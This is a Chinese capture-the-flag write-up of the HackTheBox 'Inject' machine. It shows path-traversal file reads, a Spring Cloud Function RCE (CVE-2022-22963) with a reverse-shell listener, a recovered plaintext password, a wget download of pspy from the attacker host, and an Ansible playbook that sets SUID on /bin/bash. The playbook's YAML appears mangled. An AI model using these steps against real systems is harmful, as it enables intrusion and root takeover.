HackTheBox-Machines--Inject

文章目录

  • 0x01 信息收集
  • 0x02 漏洞探测
    • 1.文件上传功能探测
    • 2.文件包含漏洞测试
    • 3.探测3.2.2版本的spring-cloud-function-web是否存在已知漏洞
  • 0x03 横向移动
  • 0x04 权限提升

Inject 测试过程


0x01 信息收集


   a.端口扫描: 发现22、8080端口

nmap -sC -sV 10.129.228.213

在这里插入图片描述

  访问 10.129.228.213:8080 web页面,在页面中存在一处文件上传接口 upload

在这里插入图片描述

0x02 漏洞探测


1.文件上传功能探测


在这里插入图片描述

  图片文件上传成功后,view your Image按钮可以查看图片路径

在这里插入图片描述

在这里插入图片描述

  http://10.129.228.213:8080/show_image?img=test.jpg,观察img参数,如果对image参数内容没有进行过滤,那么就有可能导致路径遍历、文件包含

2.文件包含漏洞测试


1.利用文件包含漏洞读取/etc/passwd

GET /show_image?img=../../../../../../etc/passwd

  可以读取/etc/passwd文件,证明存在文件包含漏洞

在这里插入图片描述

2.利用文件包含漏洞读取其他敏感文件

# 读取应用程序的web目录
GET /show_image?img=../../../../../../var/www

在这里插入图片描述

GET /show_image?img=../../../../../../var/www/WebApp

在这里插入图片描述

GET /show_image?img=../../../../../../var/www/WebApp/pom.xml

在这里插入图片描述

GET /show_image?img=../../../../../../var/www/WebApp/pom.xml

  发现 3.2.2版本的spring-cloud-function-web

在这里插入图片描述

3.探测3.2.2版本的spring-cloud-function-web是否存在已知漏洞


1.搜索引擎搜索 spring-cloud-function-web - exploit

在这里插入图片描述

2.发现存在漏洞编号为:CVE-2022-22963

  漏洞利用工具 python 脚本地址:CVE-2022-22963-RCE

  修改脚本文件中lhost、lport、rhost、rport参数

在这里插入图片描述

  执行spring-cloud-rce.py脚本,并在本地 ncat -lnvp 4444 执行监听

在这里插入图片描述

  脚本成功执行并获取到shell,使用 script /dev/null -c bash 命令获取稳定 tty

script /dev/null -c bash

在这里插入图片描述

0x03 横向移动


1.查看当前权限的可访问文件

  在/.m2/settings.xml文件中发现存在 phil 用户密码 DocPhillovestoInject123

在这里插入图片描述

2.切换到phil用户 philDocPhillovestoInject123

  ssh连接失败,使用su命令进行切换

在这里插入图片描述

0x04 权限提升


sudo -l 

在这里插入图片描述

1.上传pspy64二进制文件检测系统可用进程

  本地开启http server服务

python3 -m http.server 8000

  下载pspy64,并赋予执行权限

wget http://10.10.14.150:8000/pspy64
chmod +x pspy64
./pspy64

在这里插入图片描述

2.运行pspy工具发现如下进程

在这里插入图片描述

  使用root权限, ansible-parallel 工具执行 /opt/automation/tasks/*.yml
  删除 /opt/automation/tasks/*,然后将 /root/playbook_1.yml 文件复制到 /opt/automation/tasks/ 目录下

  1.查看 /opt/automation/tasks/ 目录权限,root用户和staff用户组具有读写权限

在这里插入图片描述

  2.查看 playbook_1.yml 文件内容,文件检查webapp服务是否在本地机器运行,如果没有,则启动并配置为开机自动运行
在这里插入图片描述

  如果staff组的用户可以改写playbook_1.yml文件,那么就可以写入shell,获取root权限

3.获取root权限

  检查发现 phil 用户是staff组的成员,刚好满足我们获取 root 权限的第一个条件
在这里插入图片描述

  编辑yml文件,写入 bash 命令,并将其上传到目标主机

# playbook_3.yml
- hosts: localhosttasks:- name: ROOTcommand: chmod u+s /bin/bashbecome: true

  本地开启 http.server 服务

python3 -m http.server 8000

  上传playbook_3.yml文件

在这里插入图片描述

/bin/bash -p

  /bin/bash -p 是一个命令行参数,它指示系统在运行 bash shell 时以特权模式执行。这样可以让用户以 root 用户的权限运行 bash shell,具有更高的权限执行一些操作。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/610298.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux下使用C语言实现高并发服务器

高并发服务器 这一个课程的笔记 相关文章 协议 Socket编程 高并发服务器实现 线程池 使用多进程并发服务器时要考虑以下几点: 父进程最大文件描述个数(父进程中需要close关闭accept返回的新文件描述符)系统内创建进程个数(与内存大小相关)进程创建过多是否降低整体…

linux学习:栈

目录 顺序栈 结构 初始化一个空顺序栈 压栈 出栈 例子 十进制转八进制 链式栈 管理结构体的定义 初始化 压栈 出栈 顺序栈 顺序栈的实现,主要就是定义一块连续的内存来存放这些栈元素,同时为了方便管理, 再定义一个整数变量来代表…

DP例题详解(二)最短编辑距离和编辑距离

902. 最短编辑距离 - AcWing题库 #include<bits/stdc.h>using namespace std;const int N1010;int n,m; char a[N],b[N]; int f[N][N];int main() {cin>>n>>a1;cin>>m>>b1;for(int i0;i<m;i)f[0][i]i;for(int i0;i<n;i)f[i][0]i;//先初始化…

今天讲讲MYSQL数据库事务怎么实现的!

目录 什么是数据库事务 Mysql如何保证原子性 Mysql如何保证持久性 MySQL怎么保证隔离性 事务隔离级别 脏读的解决 不可重复读的解决 幻读的解决 MVCC实现 Read View 那么RC、RR级别下的InnoDB快照读有什么不同&#xff1f; 什么是数据库事务 数据库事务是指一组数据…

FPGA - 以太网UDP通信(二)

一&#xff0c;引言 前文链接&#xff1a;FPGA - 以太网UDP通信&#xff08;一&#xff09; 在上文章中介绍了以太网简介&#xff0c;以太网UDP通信硬件结构&#xff0c;以及PHY芯片RGMII接口-GMII接口转换逻辑&#xff0c;接下来介绍UDP通信结构框图以及数据链路层&#xff…

全面学习SpringCloud框架指南

要深入学习Spring Cloud框架,你需要系统地掌握其核心组件和概念,并了解如何在实际项目中应用这些知识。以下是一些关键的学习点和相应的学习内容: 一共分为10个模块包括: 1、微服务架构基础: 理解微服务架构的概念和优势。 学习单体架构向微服务架构演进的过程。 掌握…

逆向案例二十一——遇到混淆怎么办

开始新的板块尝试&#xff0c;混淆了怎么办 网址&#xff1a;极简壁纸_海量电脑桌面壁纸美图_4K超高清_最潮壁纸网站 抓包抓到&#xff0c;好久没做解密了&#xff0c;奥里给干他&#xff01;&#xff1a; 搜索关键字&#xff0c;打上断点&#xff0c;点击第二页。 _0x10a345…

网工内推 | 网安、AGV测试网络工程师,厂商认证优先,应届可投

01 神州数码 招聘岗位&#xff1a;网络工程师 职责描述&#xff1a; 1、负责国内外主流安全产品&#xff08;如防火墙、入侵防御、WAF、安全审计等&#xff09;的上线安装、调试、测试、割接、运维等工作。 2、能够独立进行安全类项目实施、问题排查及处理。 3、在出现网络攻…

数据分析——数据规范化

数据规范化是数据分析中的一个重要步骤&#xff0c;其目的在于确保数据的一致性和可比性&#xff0c;提高数据质量和分析结果的准确性。以下是一些数据规范化的常见方法和技术&#xff1a; 数据清洗&#xff1a;此步骤主要清除数据中的重复项、空格、格式错误等&#xff0c;确…

史上首位阿贝尔奖、图灵奖双得主!2023图灵奖授予随机性大佬Avi Wigderson

ChatGPT狂飙160天&#xff0c;世界已经不是之前的样子。 新建了免费的人工智能中文站https://ai.weoknow.com 新建了收费的人工智能中文站https://ai.hzytsoft.cn/ 更多资源欢迎关注 这位多产的研究者发现了随机性和计算之间的深刻联系&#xff0c;其贡献影响了密码学、复杂性…

二叉树练习day.7

530.二叉搜索树的最小绝对差 链接&#xff1a;. - 力扣&#xff08;LeetCode&#xff09; 题目描述&#xff1a; 给你一个二叉搜索树的根节点 root &#xff0c;返回 树中任意两不同节点值之间的最小差值 。 差值是一个正数&#xff0c;其数值等于两值之差的绝对值。 示例 1&…

【简明图文教程】Node.js的下载、安装、环境配置及测试

文章目录 前言下载Node.js安装Node.js配置Node.js配置环境变量测试后言 前言 本教程适用于小白第一次从零开始进行Node.js的下载、安装、环境配置及测试。 如果你之前已经安装过了Node.js或删除掉了Node.js想重新安装&#xff0c;需要先参考以下博客进行处理后&#xff0c;再根…